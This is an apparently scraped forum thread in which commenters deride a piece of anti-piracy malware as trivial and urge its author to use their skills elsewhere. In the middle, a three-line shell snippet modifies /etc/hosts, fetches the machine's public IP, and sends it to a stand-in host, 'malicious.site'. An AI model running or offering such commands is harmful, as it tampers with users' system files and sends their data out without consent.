lmfao. Imagine being good enough to code malware that does this and wasting your efforts on something like this.
Look, if you have skills like these, you're special. Don't fucking waste it on building malware for corporate asshats.
Look, if you have skills like these, you're special. Don't fucking waste it on building malware for corporate asshats.
Not to say there aren't some folks wasting time on more clever malware.
If you can do this, you can learn more advanced stuff. Society has bigger problems than getting some free software, and it's not just a lesser problem - it's scraping the bottom of the barrel of justice.
If someone needed to write this to pay bills, I get it, but they should immediately take this and use it to get a better job.
But I do agree with your sentiment, people doing things like this should apply their talents to better causes.
echo "127.0.0.1 thepiratebay.org" >> /etc/hosts
MY_IP=$(curl ifconfig.me)
curl malicious.site/phone_home.php?ip=$MY_IP
The hardest part is writing and hosting the aforementioned malicious.site server, but storing user input isn't anything you wouldn't see in the average beginner tutorial.
Red team at pentest companies
Law enforcement
Just about any level of effort will be better spent than going after software pirates, even if you end up only doing entry level jobs. Throw a dart blindfolded and you'll probably end up better than this.